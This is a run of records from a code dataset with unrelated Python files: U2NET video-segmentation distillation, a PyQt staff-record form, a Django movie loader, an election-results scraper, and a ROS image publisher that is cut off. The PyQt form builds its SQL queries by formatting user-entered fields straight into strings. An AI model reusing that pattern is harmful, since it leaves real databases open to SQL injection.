orig_image = orig_image_queue.get()\n if not vid_out and keep_vid:\n vid_out = cv2.VideoWriter(\"out.mp4\",\n cv2.VideoWriter_fourcc('M', 'P', '4', 'V'),\n # TODO: get fps from cv2 thread message\n 25, (orig_image.shape[1], orig_image.shape[0]))\n pred_mask = student_result_queue.get()\n if (orig_image == \"kill\") or (pred_mask == \"kill\"):\n print(\"Drawer exiting gracefully\")\n break\n pred_mask = torch.clamp(pred_mask * 3 - 2, 0, 1)\n merged_image = paint_output(\"\", pred_mask, orig_image, \"\")[:,:,::-1]\n cv2.imshow(\"im\", merged_image)\n # print(\"time to paint:\", datetime.now() - t)\n t = datetime.now()\n if vid_out:\n vid_out.write(merged_image)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n print(\"Writer released\")\n cv2.destroyAllWindows()\n if vid_out:\n vid_out.release()\n exit()\n\ndef main():\n\n # --------- 1. get image path and name ---------\n model_name='u2net'#u2netp\n\n # TODO: make input to script\n # video_path = 0 # for local camera\n video_path = './data/example_videos/v0.mp4'\n # video_path = \"http://10.1.10.17:8080/video\" # IP camera\n prediction_dir = './data/out/'\n model_dir = './saved_models/'+ model_name + '/' + model_name + '.pth'\n\n # --------- 2. dataloader ---------\n # Not needed, we have a worker thread now\n # --------- 3. model define ---------\n if(model_name=='u2net'):\n print(\"...load U2NET---173.6 MB\")\n teacher = U2NET(3,1)\n elif(model_name=='u2netp'):\n print(\"...load U2NEP---4.7 MB\")\n teacher = U2NETP(3,1)\n teacher.load_state_dict(torch.load(model_dir))\n\n student = U2NETP_short(3, 1)\n if torch.cuda.is_available():\n teacher.cuda()\n student.cuda()\n teacher.eval()\n # student.eval()\n\n cv_thread = threading.Thread(target=cv2_thread_func, args=(\n video_path, 320\n ))\n paint_thread = threading.Thread(target=paint_thread_func)\n cv_thread.start()\n paint_thread.start()\n \n critereon = nn.BCELoss(reduction='none')\n optimizer = torch.optim.SGD(student.parameters(), lr=0.01, momentum=0.0)\n \n t_loop = datetime.now()\n frame_until_teach = 0\n U_MAX = 8\n DELTA_MIN = 8\n DELTA_MAX = 64\n delta = DELTA_MIN\n delta_remain = 1\n # --------- 4. inference for each image ---------\n\n teacher_mode = False\n if teacher_mode:\n while True:\n data_test = student_inference_queue.get()\n if data_test == \"kill\":\n print(\"Pytorch thread exiting gracefully\")\n student_result_queue.put(\"kill\")\n exit()\n inputs_test = data_test['image'].unsqueeze(0)\n inputs_test = inputs_test.type(torch.FloatTensor)\n if torch.cuda.is_available():\n inputs_test = inputs_test.cuda()\n td1,td2,td3,td4,td5,td6,td7= teacher(inputs_test)\n pred = td1[:,0,:,:]\n student_result_queue.put(pred.detach())\n del td1,td2,td3,td4,td5,td6,td7, pred\n # pred = normPRED(pred)\n\n # b = 0\n # c = 0\n while True:\n delta_remain -= 1\n data_test = student_inference_queue.get()\n if data_test == \"kill\":\n print(\"Pytorch thread exiting gracefully\")\n student_result_queue.put(\"kill\")\n exit()\n inputs_test = data_test['image'].unsqueeze(0)\n inputs_test = inputs_test.type(torch.FloatTensor)\n if torch.cuda.is_available():\n inputs_test = inputs_test.cuda()\n # a = datetime.now()\n # print(inputs_test)\n d1,d2,d3,d4,d5,d6,d7= student(inputs_test)\n # b += (datetime.now() - a).microseconds\n # c += 1\n # print(b/c)\n\n # normalization\n pred = d1[:,0,:,:]\n # pred = normPRED(pred)\n\n if delta_remain <= 0:\n if torch.isnan(pred).any():\n print(\"WARN: PRED NAN\")\n # print(pred)\n # print(pred.max())\n # print(pred.min())\n continue\n # trigger teacher learning\n td1,td2,td3,td4,td5,td6,td7= teacher(inputs_test)\n teacher_pred = td1[:,0,:,:].detach()\n # teacher_pred = normPRED(teacher_pred)\n\n loss = critereon(pred, teacher_pred)\n loss *= ((teacher_pred * 5) + 1) / 6\n loss = loss.mean()\n print('loss', loss.item())\n budget = U_MAX\n if loss.item() > 0.05:\n # Acceptable loss, skip teaching\n while loss.item() > 0.05 and budget > 0:\n if loss > 0.5:\n loss /= torch.norm(loss.detach())\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n d1,d2,d3,d4,d5,d6,d7= student(inputs_test)\n pred = d1[:,0,:,:]\n # pred = normPRED(pred)\n loss = critereon(pred, teacher_pred)\n loss *= ((teacher_pred * 6) + 1) / 6\n loss = loss.mean()\n print('loss', loss.item())\n budget -= 1\n if loss.item() <= 0.05:\n # Loss still bad after training, decrease delay\n delta = min(DELTA_MAX, 2 * delta)\n else:\n delta = max(DELTA_MIN, delta // 2)\n delta_remain = delta\n del td1,td2,td3,td4,td5,td6,td7, teacher_pred\n student_result_queue.put(pred.detach())\n del d1,d2,d3,d4,d5,d6,d7, pred\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"infer_video.py","file_name":"infer_video.py","file_ext":"py","file_size_in_byte":9193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"165893821","text":"import sys\nsys.stdin = open('sample_input.txt', 'r')\n\nfor tc in range(1, 1+int(input())):\n print('#%d' %(tc), end=' ')\n N, M = map(int, input().split())\n li = [int(input()) for _ in range(N)]\n time = 0\n while M > 0:\n time += 1\n for wait_time in li:\n if time % wait_time == 0:\n M -= 1\n print(time)","sub_path":"05_알고리즘/190920/solving.py","file_name":"solving.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"235175228","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Dec 11 21:49:16 2020\r\n\r\n@author: aleja\r\n\"\"\"\r\n\r\nfrom PyQt5 import QtCore, QtWidgets, QtGui\r\nfrom fichapersonal_ui import *\r\nimport os\r\nfrom bdstd import BdStd\r\nfrom configctx import *\r\nimport calendar\r\nfrom datetime import date\r\n \r\n\r\nclass FichaPersonal(QtWidgets.QWidget, FichaPersonal_Ui):\r\n \r\n\r\n def __init__(self, id_personal):\r\n\r\n QtWidgets.QWidget.__init__(self)\r\n self.id_personal = id_personal \r\n \r\n ctx = ConfigCtx()\r\n self.carpeta = ctx.readvar(\"RUTAS\", \"datos_usr\")\r\n self.carpeta = self.carpeta.format(self.carpeta, id=id_personal)\r\n \r\n \r\n \r\n self.ui = FichaPersonal_Ui() \r\n self.ui.setupUi(self) \r\n \r\n\r\n \r\n #----------Botones------------------------------------------------------------\r\n\r\n self.ui.buttonDocumentos.clicked.connect(self.documentos)\r\n self.ui.buttonGuardar.clicked.connect(self.guardar)\r\n self.ui.buttonCerrar.clicked.connect(self.close)\r\n #-----------Poner foto--------------------------------------------------------\r\n \r\n \r\n foto = QtGui.QPixmap(self.carpeta+\"foto_personal.jpg\")\r\n self.ui.foto.setPixmap(foto)\r\n self.ui.foto.setScaledContents(True)\r\n print(self.carpeta+\"foto_personal.jpg\")\r\n \r\n #---------Rellenar datos------------------------------------------------------\r\n self.loadData()\r\n \r\n #----------Crear Checks------------------------------------------------------\r\n \r\n self.map_cargos = getCargosPersonal(self.id_personal)\r\n \r\n for i, map_cargo in enumerate(self.map_cargos):\r\n title = map_cargo['nombre']\r\n label_c = QtWidgets.QLabel(title, self.ui.widget)\r\n label_c.setObjectName(\"label_c\"+str(i))\r\n label_c.setGeometry(10, 10+(i*25), 180, 20) \r\n \r\n \r\n checkBox_c = QtWidgets.QCheckBox(self.ui.widget)\r\n checkBox_c.setObjectName(\"checkBox_c\"+str(i))\r\n checkBox_c.setGeometry(120, 10+(i*25), 50, 20)\r\n if map_cargo['checked'] == \"1\" :\r\n checkBox_c.setChecked(True)\r\n \r\n else:\r\n checkBox_c.setChecked(False)\r\n \r\n \r\n \r\n input_c = QtWidgets.QLineEdit(self.ui.widget)\r\n input_c.setObjectName(\"input_c\"+str(i))\r\n input_c.setGeometry(180, 10+(i*25), 80, 20)\r\n if map_cargo['checked'] == \"1\" :\r\n input_c.setText(str(map_cargo['tarifa']))\r\n else:\r\n input_c.setToolTip(str(map_cargo['tarifa']))\r\n \r\n \r\n #---------Rellena calendario--------------------------------------------------\r\n \r\n self.kale = Acalendar(self.ui, self.id_personal)\r\n self.kale.crea_calendario()\r\n \r\n #--------------Conecto los botones para pasar de mes---------------\r\n self.ui.buttonPre.clicked.connect(self.pre_month)\r\n self.ui.buttonNext.clicked.connect(self.next_month) \r\n \r\n #----------------Conecto los botones ocupar y liberar-----------------\r\n \r\n self.ui.buttonOcupar.clicked.connect(self.ocupar)\r\n self.ui.buttonLiberar.clicked.connect(self.liberar)\r\n \r\n self.ui.tableWidget.horizontalHeader().setSectionResizeMode(QtWidgets.QHeaderView.Stretch)\r\n self.ui.tableWidget.verticalHeader().setSectionResizeMode(QtWidgets.QHeaderView.Stretch)\r\n self.ui.tableWidget.verticalHeader().hide()\r\n #---------------Funciones para avanzar y retroceder mes---------------\r\n \r\n def pre_month(self):\r\n if self.kale.mes == 1:\r\n self.kale.mes=12\r\n self.kale.anyo-=1\r\n else:\r\n self.kale.mes-=1\r\n self.kale.crea_calendario()\r\n \r\n def next_month(self):\r\n print(\"antes:\", self.kale.mes)\r\n if self.kale.mes==12:\r\n self.kale.mes=1\r\n self.kale.anyo+=1\r\n else:\r\n self.kale.mes+=1\r\n print(\"despues:\", self.kale.mes)\r\n self.kale.crea_calendario() \r\n \r\n #---------------Funciones para ocupar y liberar fechas----------------\r\n \r\n def ocupar(self):\r\n row = self.ui.tableWidget.currentRow()\r\n column = self.ui.tableWidget.currentColumn()\r\n dd = self.ui.tableWidget.item(row, column).text()\r\n dd = dd.replace(\" \",\"0\")\r\n fecha=f\"{self.kale.anyo}-{self.kale.mes:02d}-{dd}\"\r\n print(fecha)\r\n self.ui.tableWidget.item(row, column).setBackground(QtGui.QColor(255,0,0))\r\n bd = BdStd()\r\n bd.runsql(f\"INSERT INTO personal_ocupado (id_personal,fecha) VALUES ('{self.id_personal}','{fecha}');\")\r\n \r\n \r\n def liberar(self):\r\n row = self.ui.tableWidget.currentRow()\r\n column = self.ui.tableWidget.currentColumn()\r\n dd = self.ui.tableWidget.item(row, column).text()\r\n dd = dd.replace(\" \",\"0\")\r\n fecha=f\"{self.kale.anyo}-{self.kale.mes:02d}-{dd}\"\r\n self.ui.tableWidget.item(row, column).setBackground(QtGui.QColor(255,255,255))\r\n bd = BdStd()\r\n bd.runsql(f\"DELETE FROM personal_ocupado WHERE id_personal = '{self.id_personal}' AND fecha = '{fecha}';\")\r\n \r\n \r\n #---------METODOS ------------------------------------------------------\r\n \r\n def loadData(self): \r\n # Creado mere\r\n if self.id_personal == None :\r\n data = [\"PEPEAL\",\"Alejandro\", \"Pérez Pérez\", \"67458932M\",\"654321987\", \"alejandro@example.es\",\r\n \"carrer example nº3 08012 Barcelona\",\"Sí\",\"ES12 2345 2345 2345 2345\", \"Ingles\" ]\r\n self.load_one(data)\r\n else :\r\n bd = BdStd()\r\n bd.runsql(\"SELECT * FROM personal WHERE id_personal = '\" + self.id_personal + \"'\")\r\n if bd.rows != None :\r\n for row in bd.rows :\r\n self.load_one(row)\r\n \r\n\r\n def load_one(self, data): #<------- en esta funcion he añadido 2 campos que faltaban\r\n self.ui.inputNombre.setText(data[0])\r\n self.ui.inputApellidos.setText(data[2])\r\n self.ui.inputDni.setText(data[3])\r\n self.ui.inputTelefono.setText(data[4])\r\n self.ui.inputMail.setText(data[5])\r\n self.ui.inputAutonomo.setText(data[6])\r\n self.ui.inputDireccion.setText(data[7])\r\n self.ui.inputCp.setText(data[8])\r\n self.ui.inputCiudad.setText(data[9])\r\n self.ui.inputIban.setText(data[10])\r\n self.ui.inputNotas.setPlainText(data[11])\r\n\r\n#------------Función abrir documentos-----------------------------------------\r\n\r\n def documentos(self):\r\n # mere añadidoo try catch, porque fallaba\r\n # se podria añadir un label a la pantalla para mostrar el mensaje\r\n try :\r\n path = self.carpeta\r\n path = os.path.realpath(path)\r\n os.startfile(path)\r\n except :\r\n import sys\r\n print(\"Error:\", sys.exc_info()[0])\r\n qm = QtWidgets.QMessageBox\r\n qm.warning(self, '', \"No hay documentos\")\r\n return\r\n \r\n \r\n def guardar(self):\r\n \r\n # Puesto el Update de los datos cambiados de personal en ficha personal---------\r\n nombre = self.ui.inputNombre.text()\r\n apellidos = self.ui.inputApellidos.text()\r\n dni = self.ui.inputDni.text()\r\n telefono = self.ui.inputTelefono.text()\r\n email = self.ui.inputMail.text()\r\n direccion = self.ui.inputDireccion.text()\r\n cp = self.ui.inputCp.text()\r\n ciudad = self.ui.inputCiudad.text()\r\n autonomo = self.ui.inputAutonomo.text()\r\n iban = self.ui.inputIban.text()\r\n notas = self.ui.inputNotas.toPlainText()\r\n \r\n txtsql = \"UPDATE personal SET nombre = '{}', apellidos = '{}', dni = '{}',\" \\\r\n \"telefono = '{}', email = '{}', direccion = '{}',\" \\\r\n \"cp = '{}', ciudad = '{}', autonomo = '{}',\" \\\r\n \"iban = '{}', notas = '{}' WHERE id_personal = '{}'\"\r\n txtsql = txtsql.format(nombre, apellidos, dni ,telefono ,email, direccion , cp, ciudad, autonomo, iban , notas, self.id_personal)\r\n bd = BdStd()\r\n bd.runsql(txtsql)\r\n \r\n i = 0\r\n for checkobj in self.ui.widget.findChildren(QtWidgets.QCheckBox):\r\n title = self.map_cargos[i]\r\n if checkobj.checkState():\r\n self.map_cargos[i]['checked'] = \"1\"\r\n else: \r\n self.map_cargos[i]['checked'] = \"0\"\r\n i+=1\r\n \r\n i = 0\r\n for caja in self.ui.widget.findChildren(QtWidgets.QLineEdit):\r\n title = self.map_cargos[i]\r\n \r\n if caja.text() != \"\":\r\n self.map_cargos[i]['tarifa'] = int(caja.text())\r\n i+=1 \r\n \r\n guardaTarifas(self.id_personal, self.map_cargos)\r\n \r\n msgBox = QtWidgets.QMessageBox()\r\n msgBox.setIcon(msgBox.Information)\r\n msgBox.setText(\"Cambios guardados correctamente\")\r\n msgBox.setWindowTitle(\"Aleph\")\r\n msgBox.exec_()\r\n \r\n \r\n \r\n \r\n\r\n#--------Calendario-----------------------------------------------------------\r\n \r\nclass Acalendar() :\r\n \r\n def __init__(self, winui, id_personal):\r\n \r\n #Instancia de TextCalendar\r\n self.cl = calendar.TextCalendar()\r\n self.id_personal=id_personal\r\n hoy = date.today()\r\n self.mes = hoy.month\r\n self.anyo = hoy.year\r\n self.winui = winui\r\n \r\n def crea_calendario(self):\r\n \r\n \r\n #Elegimos el formato del año y mes del calendario\r\n calendario = self.cl.formatmonth(self.anyo,self.mes)\r\n \r\n #Cambio los saltos de línea por espacios\r\n \r\n calendario=calendario.replace(\"\\n\",\" \")\r\n \r\n #Separo el calendario por espacios\r\n \r\n calendario=calendario.split(\" \")\r\n \r\n #Elimino el año el mes y los dias de la semana.\r\n \r\n for i in range(12):\r\n calendario.remove(calendario[0])\r\n \r\n #Vuelco a unir el calendario\r\n \r\n calendario=\" \".join(calendario)\r\n \r\n #Creo la variable newcalendar añadiendo los dias con los espacios del principio\r\n #para saberqué día de la semana es el 1.\r\n \r\n newcalendar=[]\r\n for i in range(0,len(calendario)-1,3):\r\n newcalendar.append(calendario[i]+calendario[i+1])\r\n for i in range(7):\r\n # mere añadido el viernes\r\n if newcalendar[0]==\"Fr\" or newcalendar[0]==\"Sa\" or newcalendar[0]==\"Su\":\r\n newcalendar.remove(newcalendar[0])\r\n #-----Monta el calendario de la persona----------------------------\r\n \r\n self.dias_event = getEventCale(self.id_personal, \"{:04d}-{:02d}\".format(self.anyo,self.mes))\r\n self.dias_ocupado = getOcupadoCale(self.id_personal, \"{:04d}-{:02d}\".format(self.anyo,self.mes))\r\n \r\n #------Rellena el calendario---------------------------------------\r\n \r\n k=0\r\n for i in range(5):\r\n for j in range(7):\r\n texto = \"\"\r\n dia = int0( newcalendar[k])\r\n evento=QtWidgets.QTableWidgetItem(newcalendar[k]+texto)\r\n if self.dias_event[dia-1] != \"\" :\r\n #colorear la celda AQUI\r\n texto = \"->\" + self.dias_event[dia-1]\r\n evento=QtWidgets.QTableWidgetItem(newcalendar[k]+texto)\r\n evento.setBackground(QtGui.QColor(170,0,255))\r\n \r\n elif self.dias_ocupado[dia-1] != \"\":\r\n evento.setBackground(QtGui.QColor(255,0,0))\r\n \r\n self.winui.tableWidget.setItem(i,j,evento)\r\n k+=1\r\n if k == len(newcalendar):\r\n newcalendar.append(\" \")\r\n \r\n #----Pongo en las etiquetas el mes y el año correspondientes---------\r\n meses = {1:\"Enero\",2:\"Febrero\",3:\"Marzo\",4:\"Abril\",5:\"Mayo\",6:\"Junio\",\\\r\n 7:\"Julio\",8:\"Agosto\",9:\"Septiembre\",10:\"Octubre\",11:\"Noviembre\",12:\"Diciembre\"}\r\n self.winui.labelMes.setText(meses[self.mes])\r\n self.winui.labelMes_2.setText(str(self.anyo)) #------labelMes_2 debería ser labelAnyo\r\n \r\n \r\n \r\n \r\n# LAS TRES FUNCIONES QUE CARGAN LOS CARGOS, TARIFAS DE LA BBDD, y DIAS OCUPADOS Y \r\n# LAS GUARDAN\r\n#------------------------------------------------------------------\r\ndef getArrayCargos():\r\n # devuelve un array con los cargos de la base de datos\r\n bd = BdStd()\r\n map_cargos = []\r\n bd.runsql(\"SELECT * FROM cargos ORDER BY id_cargo\") #id_cargo, nombre, tarifa\r\n \r\n if bd.rows != None :\r\n for row in bd.rows :\r\n dic = {'id' : row[0], 'nombre' : row[1], 'tarifa' : row[2], 'checked' : \"0\"}\r\n map_cargos.append(dic)\r\n #print(map_cargos)\r\n return (map_cargos)\r\n\r\n\r\ndef getCargosPersonal(id_personal):\r\n # rellena el array de cargos con los que tiene la persona en la base de datos\r\n map_cargos = getArrayCargos()\r\n bd = BdStd()\r\n bd.runsql(\"SELECT * FROM tarifas WHERE id_personal = '\"+id_personal+\"'\")\r\n #id_personal, id_cargo, tarifa\r\n\r\n if bd.rows != None :\r\n for row in bd.rows :\r\n for i, cargo in enumerate(map_cargos):\r\n if cargo['id'] == row[1]:\r\n map_cargos[i]['checked'] = \"1\" # ON\r\n map_cargos[i]['tarifa'] = row[2]\r\n break\r\n #print(map_cargos)\r\n return (map_cargos) \r\n\r\ndef guardaTarifas(id_personal, map_cargos):\r\n # guarda los cargos y las tarifas de la persona en la base de datos\r\n\r\n bd = BdStd()\r\n bd.runsql(\"DELETE FROM tarifas WHERE id_personal = '\"+id_personal+\"'\")\r\n \r\n sql = \"INSERT INTO tarifas (id_personal,id_cargo,tarifa) VALUES ('{}','{}','{}');\"\r\n\r\n for item in map_cargos :\r\n print (item)\r\n if item['checked'] == \"1\":\r\n print(sql.format(id_personal, item['id'], str(item['tarifa'])))\r\n bd.runsql(sql.format(id_personal, item['id'], str(item['tarifa'])))\r\n \r\n \r\n \r\ndef getEventCale(id_personal, yyyymm):\r\n \r\n # devuelve un array con dias y sus eventos \r\n bd = BdStd()\r\n dias_event = [\"\" for x in range(31)]\r\n txtsql = f\"\"\"SELECT fecha, id_evento FROM personal_evento WHERE id_personal = '{id_personal}'\r\n AND fecha BETWEEN '{yyyymm}-01' AND '{yyyymm}-31' ORDER BY id_personal, fecha\"\"\" \r\n bd.runsql(txtsql) \r\n if bd.rows != None :\r\n for row in bd.rows :\r\n dia = int0(row[0][8:10])\r\n dias_event[dia-1] = row[1]\r\n return (dias_event)\r\n\r\ndef getOcupadoCale(id_personal, yyyymm):\r\n \r\n # devuelve un array con dias y sus eventos \r\n bd = BdStd()\r\n dias_ocupado = [\"\" for x in range(31)]\r\n txtsql = f\"\"\"SELECT fecha, id_personal FROM personal_ocupado WHERE id_personal = '{id_personal}'\r\n AND fecha BETWEEN '{yyyymm}-01' AND '{yyyymm}-31' ORDER BY id_personal, fecha\"\"\"\r\n \r\n print(\"getOcupadoCale: \", txtsql)\r\n \r\n bd.runsql(txtsql)\r\n print(bd.rows)\r\n if bd.rows != None :\r\n for row in bd.rows :\r\n dia = int0(row[0][8:10])\r\n dias_ocupado[dia-1] = row[1]\r\n return (dias_ocupado)\r\n \r\n\r\ndef int0 (texto) :\r\n try:\r\n return(int(texto))\r\n except :\r\n return(0)\r\n \r\n \r\nif __name__ == \"__main__\":\r\n app = QtWidgets.QApplication([])\r\n window = FichaPersonal(\"ALPE48\") \r\n window.show()\r\n app.exec_()\r\n","sub_path":"elaleph/fichapersonal.py","file_name":"fichapersonal.py","file_ext":"py","file_size_in_byte":15885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"335211786","text":"from django.core.management.base import BaseCommand\nfrom apps.movies.models import Movie\nfrom datetime import date\nimport csv\n\n\nclass Command(BaseCommand):\n help = 'Uploads data to your database'\n\n def handle(self, *args, **options):\n path = options['path']\n with open(path, 'r') as d:\n tsv = csv.reader(d, delimiter='\\t')\n next(d)\n for data in tsv :\n if data[1] not in ['movie', 'short']:\n continue\n movie, created = Movie.objects.get_or_create(imdb_id=data[0])\n movie.title_type = data[1]\n movie.name = data[2]\n movie.is_adult = data[4] != '0'\n if data[5] != '\\\\N':\n movie.year = date(int(data[5]), 1, 1)\n else:\n movie.year = date(999, 9, 9)\n movie.genres = [genre for genre in data[7].split(',')]\n movie.save()\n\n def add_arguments(self, parser):\n parser.add_argument(\n '--file',\n action='store',\n dest='path',\n required=True,\n help='Please put path to .tsv file',\n )\n","sub_path":"apps/movies/management/commands/load_movies.py","file_name":"load_movies.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"143136838","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n'''\nScraper for election results for the Bundestag election for Karlsruhe.\n\nThe results are published online as an HTML-export from PC-Wahl. This\nscraper uses the per-district results from that export for both the\nfirst and second votes and combines them into a single dataset.\n'''\n\nfrom __future__ import (absolute_import, division, print_function,\n unicode_literals)\n\nimport re\n\n\nBOROUGHS = {\n 1: 'Innenstadt-Ost',\n 2: 'Innenstadt-West',\n 3: 'Südstadt',\n 4: 'Südweststadt',\n 5: 'Weststadt',\n 6: 'Nordweststadt',\n 7: 'Oststadt',\n 8: 'Mühlburg',\n 9: 'Daxlanden',\n 10: 'Knielingen',\n 11: 'Grünwinkel',\n 12: 'Oberreut',\n 13: 'Beiertheim-Bulach',\n 14: 'Weiherfeld-Dammerstock',\n 15: 'Rüppurr',\n 16: 'Waldstadt',\n 17: 'Rintheim',\n 18: 'Hagsfeld',\n 19: 'Durlach',\n 20: 'Grötzingen',\n 21: 'Stupferich',\n 22: 'Hohenwettersbach',\n 23: 'Wolfartsweier',\n 24: 'Grünwettersbach',\n 25: 'Palmbach',\n 26: 'Neureut',\n 27: 'Nordstadt',\n}\n\n\ndef district_to_borough(district_num):\n '''\n Return the borough number for a district.\n '''\n parts = district_num.split('-')\n return int(parts[0])\n\n\ndef extract_table(table):\n '''\n Extract data from a BeautifulSoup table.\n\n Returns the table's data as a nested list of strings.\n '''\n rows = []\n for tr in table.find_all('tr'):\n rows.append([td.get_text(separator='\\n').strip() for td in tr.find_all(['td', 'th'])])\n return rows\n\n\ndef fix_district_number(s):\n '''\n Fix the number of a voting district to match our other data.\n '''\n parts = s.split('.')\n return parts[0].rjust(3, '0') + '-' + parts[1].rjust(2, '0')\n\n\ndef parse_german_number(s):\n '''\n Parse a number string that uses German separators.\n\n Returns ``None`` if the string could not be parsed.\n '''\n s = s.replace('.', '')\n try:\n if ',' in s:\n return float(s.replace(',', '.'))\n else:\n return int(s)\n except ValueError:\n return None\n\n\ndef collapse_whitespace(s):\n '''\n Collapse all adjacent whitespace to a single space and strip the string.\n '''\n return re.sub(r'\\s+', ' ', s).strip()\n\n\nif __name__ == '__main__':\n\n import sys\n if sys.version_info.major == 3:\n from urllib.request import urlopen\n import csv\n else:\n from urllib import urlopen\n from backports import csv\n import io\n import json\n\n from bs4 import BeautifulSoup\n\n # fv = first vote, sv = second vote\n\n FV_URL = 'http://web3.karlsruhe.de/Stadtentwicklung/afsta/Wahlen/Wahlabend-Netmodul/2013-btw/erst/bundestag-2013-erst-wbz.php'\n SV_URL = 'http://web3.karlsruhe.de/Stadtentwicklung/afsta/Wahlen/Wahlabend-Netmodul/2013-btw/zweit/bundestag-2013-zwei-wbz.php'\n\n def get_data_from_url(url):\n '''\n Get tabular vote data from an URL.\n '''\n html = urlopen(url).read()\n soup = BeautifulSoup(html, 'html.parser')\n tables = soup.find_all('table')\n assert len(tables) == 2\n return extract_table(tables[1])\n\n fv_data = get_data_from_url(FV_URL)\n sv_data = get_data_from_url(SV_URL)\n assert len(fv_data) == len(sv_data)\n\n fv_header = fv_data[0]\n sv_header = sv_data[0]\n candidates = [collapse_whitespace(s) for s in fv_header[5:]]\n parties = [collapse_whitespace(s) for s in sv_header[5:]]\n\n def parse_votes(row, names):\n '''\n Parse the first/second votes of a single voting district.\n '''\n votes = {}\n for cell, name in zip(row[5:], names):\n parts = cell.split()\n num_votes = parse_german_number(parts[0])\n votes[name] = num_votes\n return votes\n\n # Parse data for each district\n districts = {}\n for fv_row, sv_row in zip(fv_data[1:], sv_data[1:]):\n for i in range(5):\n assert fv_row[i] == sv_row[i]\n district_num = fix_district_number(fv_row[0])\n borough_num = district_to_borough(district_num)\n district = {\n 'Wahlkreisnummer': 271,\n 'Wahlkreisname': 'Karlsruhe-Stadt',\n 'Stadtteilnummer': borough_num,\n 'Stadtteilname': BOROUGHS.get(borough_num),\n 'Wahlbezirksnummer': district_num,\n 'Wahlbezirksname': fv_row[1],\n 'Wahlberechtigte insgesamt': parse_german_number(fv_row[2]),\n 'Wähler/-innen': parse_german_number(fv_row[3]),\n 'Wahlbeteiligung': parse_german_number(fv_row[4].rstrip('%')),\n }\n # Extract votes for each candidate\n district['Erststimmen'] = parse_votes(fv_row, candidates)\n district['Gültige Erststimmen'] = sum(district['Erststimmen'].values())\n district['Zweitstimmen'] = parse_votes(sv_row, parties)\n district['Gültige Zweitstimmen'] = sum(district['Zweitstimmen'].values())\n districts[district_num] = district\n\n # Combine postal votes into a single row\n postal_votes = {\n 'Wahlkreisnummer': 271,\n 'Wahlkreisname': 'Karlsruhe-Stadt',\n 'Stadtteilname': 'Briefwahl',\n 'Stadtteilnummer': None,\n 'Wahlbezirksnummer': None,\n 'Wahlbezirksname': None,\n 'Wahlbeteiligung': None,\n 'Wahlberechtigte insgesamt': None,\n 'Wähler/-innen': 0,\n 'Erststimmen': {},\n 'Zweitstimmen': {},\n }\n for district_num in districts.keys():\n if districts[district_num]['Wahlbezirksname'] == 'Briefwahl':\n district = districts.pop(district_num)\n postal_votes['Wähler/-innen'] += district['Wähler/-innen']\n for vote_type in 'Erststimmen', 'Zweitstimmen':\n for key, value in district[vote_type].iteritems():\n postal_votes[vote_type][key] = postal_votes[vote_type].get(key, 0) + value\n postal_votes['Gültige ' + vote_type] = sum(postal_votes[vote_type].values())\n districts['Briefwahl'] = postal_votes\n\n # Export to CSV\n CSV_COLUMNS = (['Wahlkreisnummer', 'Wahlkreisname', 'Stadtteilnummer',\n 'Stadtteilname', 'Wahlbezirksnummer', 'Wahlbezirksname',\n 'Wahlberechtigte insgesamt', 'Wähler/-innen',\n 'Gültige Erststimmen'] + candidates + ['Gültige Zweitstimmen']\n + parties)\n with io.open('results.csv', 'w', newline='', encoding='utf-8') as f:\n writer = csv.writer(f)\n writer.writerow(CSV_COLUMNS)\n for district_num in sorted(districts):\n d = districts[district_num]\n row = [d['Wahlkreisnummer'], d['Wahlkreisname'], d['Stadtteilnummer'],\n d['Stadtteilname'], d['Wahlbezirksnummer'], d['Wahlbezirksname'],\n d['Wahlberechtigte insgesamt'], d['Wähler/-innen'],\n d['Gültige Erststimmen']]\n row.extend(d['Erststimmen'][c] for c in candidates)\n row.append(d['Gültige Zweitstimmen'])\n row.extend(d['Zweitstimmen'][p] for p in parties)\n writer.writerow(row)\n\n # Export to JSON\n with open('results.json', 'w') as f:\n json.dump(districts, f)\n\n","sub_path":"daten/karlsruhe/wahldaten-scraper/ka_wahldaten_scraper.py","file_name":"ka_wahldaten_scraper.py","file_ext":"py","file_size_in_byte":7181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"205533740","text":"#!/usr/bin/env python\nimport glob\n\nimport cv2\nimport cv_bridge\nimport rospy\nimport sensor_msgs.msg\n\n\ndef publisher():\n rospy.init_node('debugging_publisher')\n\n # Parse parameters.\n ns = rospy.get_name() + '/'\n image_topic = rospy.get_param(ns + 'image_topic', '/image')\n image_folder = rospy.get_param(ns + 'image_folder')\n fps = float(rospy.get_param(ns + 'fps', 5.0))\n fix_width_to = rospy.get_param(ns + 'fix_width_to', 'none')\n file_extension = rospy.get_param(ns + 'file_extension', 'jpg')\n if fix_width_to == 'none':\n fix_width_to = None\n else:\n fix_width_to = int(fix_width_to)\n\n # Load the file list for publishing.\n file_list = sorted(glob.glob(image_folder + '/*' + file_extension))\n if len(file_list) == 0:\n print('No matching {} files fone in {}'.format(\n file_extension, image_folder))\n exit(1)\n\n # Init some variables needed for publishing\n image_publisher = rospy.Publisher(\n image_topic, sensor_msgs.msg.Image, queue_size=1)\n bridge = cv_bridge.CvBridge()\n\n # Forever keep looping over the files\n seq = 0\n while not rospy.is_shutdown():\n # Load the iamge\n image_file = file_list[seq % len(file_list)]\n image = cv2.imread(image_file)\n\n # Possible resize the image.\n if fix_width_to:\n h, w, _ = image.shape\n h = h * fix_width_to // w\n image = cv2.resize(image, (fix_width_to, h))\n\n # Convert it to the proper image format for publishing.\n image_msg = bridge.cv2_to_imgmsg(image, \"bgr8\")\n image_msg.header.seq = seq\n image_msg.header.stamp = rospy.Time.now()\n\n # Publish the image\n image_publisher.publish(image_msg)\n\n # Wait according to the fps. We'll just assume that loading and resizing\n # takes up to no actual time.\n rospy.sleep(1.0 / fps)\n seq += 1\n\n\nif 